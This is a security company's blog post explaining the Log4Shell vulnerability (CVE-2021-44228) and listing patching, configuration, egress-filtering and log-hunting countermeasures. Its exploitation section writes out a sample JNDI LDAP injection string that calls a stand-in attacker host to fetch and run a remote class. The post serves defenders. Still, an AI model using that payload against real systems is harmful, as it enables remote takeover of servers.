Log4Shell CVE-2021-44228

By Clayton DillardBlog, Cyber Threat Spotlight

Critical Apache Log4j RCE Vulnerability

What is it, how is the exploit carried out, and what countermeasures should we implement?

Vulnerability Overview

On December 10, 2021, the Apache Software Foundation released a security advisory to address a remote code execution vulnerability (CVE-2021-44228) affecting Log4j versions 2.0-beta9 to 2.14.1. A remote adversary could exploit this vulnerability to take control of an affected system. Log4j is an open-source, Java-based logging utility widely used by enterprise applications and cloud services.

Private organizations, law enforcement, and security services providers are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability (CVE-2021-44228) in Apache’s Log4j software library, versions 2.0-beta9 to 2.14.1, known as “Log4Shell” and “Logjam.” Log4j is very broadly used in a variety of consumer and enterprise services, websites, and applications—as well as in operational technology products—to log security and performance information. An unauthenticated remote actor could exploit this vulnerability to take control of an affected system.

Vulnerability Exploitation

The Log4j vulnerability is exploited by a remote attacker by supplying input to an affected application which is logged and interpreted by the Log4j utility.  An example would be where a remote threat actor supplies the following string within a web application input field (Eg. username): NDI LDAP URL, ${jndi:ldap://evilserver.com:389/evil.class}

At this point, jndi:ldap://evilserver.com:389/evil.class is logged by Log4j, and most importantly, Log4j interprets this as a command such that it makes an outbound connection to evilserver.com on TCP port 389 and downloads evil.class.  At this point, the attacker has executed a remote command on the affected server resulting in the execution of his “code”, leading to remote command and control of the server.

Many other security firms have done an excellent job at writing about the vulnerability and how it can be exploited.  We’ll link to a couple of resources below for you.  For now, we want to focus on how to mitigate this issue using a Defense in Depth model (as always!).

 

UPDATE December 15, 2021

As suspected, threat actors have partially gotten around the Log4j 2.15.0 patch, resulting in a Denial of Service condition for some affected / vulnerable platforms.  The Apache Software Foundation released another patch, 2.16.0 to address the DoS vulnerability.
 
Legion Cyberworks has had active detection for exploit activity in place since 12/12/2021 and we are actively monitoring our Managed SEIM, and Managed EDR & Threat Response customer environments for indicators of attack and indicators of compromise.
Customers are advised to update to Log4j version 2.16.0+ to mitigate the new DoS vulnerability.

Countermeasures and Mitigation

We’ll keep this short and sweet…

  1. PATCH your Log4j version according to the guidance from Apache, which at the time this article was posted is to upgrade to Log4j2 version 2.15.0
  2. Set log4j2.formatMsgNoLookups to true by adding -Dlog4j2.formatMsgNoLookups=True to the Java Virtual Machine command for starting your application. Note: this may impact the behavior of a system’s logging if it relies on Lookups for message formatting. Additionally, this mitigation will only work for versions 2.10 and above.  This may be a setting you want to leave in place as a layer of defense.  Attackers are going to be looking for ways to circumvent the effects of the patch(es).
  3. Block outbound connections to hosts on the Internet over TCP port 389.  You should have strict egress filtering configured on your firewalls, network gateways, AWS Security Groups, and Azure Security Groups as a matter of practice for good security hygiene and as part of the “default deny” model.
  4. Applications should be coded to validate input which can prevent or degrade an attacker’s ability to exploit this, and other vulnerabilities which rely on supplying “unexpected” input to an application and/or backend database.
  5. Use a web application firewall (WAF) to detect and block attacks targeting this vulnerability
  6. Configure your NG-Firewall and/or intrusion prevention system (IPS) to detect and block attacks targeting this vulnerability

Conduct a Security Review

Look for log evidence that the vulnerability was exploited or that you were attacked.  Begin with your internet-facing applications and systems.  Investigate all suspicious or anomalous activity.

  • Use your SEIM or logging server to look for outbound connections to hosts on the Internet over TCP port 389.  We suggest looking back at least 30 days.
  • Use your SEIM or logging server to look for log data containing “ldap://” strings
  • Use your asset inventory system and/or an EDR solution that collects installed apps on servers and workstations to find any that are running vulnerable configurations and versions of Log4j
  • Vulnerability scanners and AI Pentest tools such as NodeZero can be used to find vulnerable systems within your environment

Always implement security in layers.  As they say in the military, 2 is 1; 1 is none

Resources

We’re linking to some resources that can help you understand more about this vulnerability, how it works, and get your remediation efforts underway.

Horizon3 Analysis – https://www.horizon3.ai/cve-2021-44228/

CISA Page for Log4Shell – https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

CISO Github Page of Affected Entities – https://github.com/cisagov/log4j-affected-db

Greynoise Analysis – https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20Log4j%20RCE%20Attempt%22

OTX Pulse – https://otx.alienvault.com/pulse/61b886db3f57da33ac504548

Bleeping Computer Affected Products List – https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/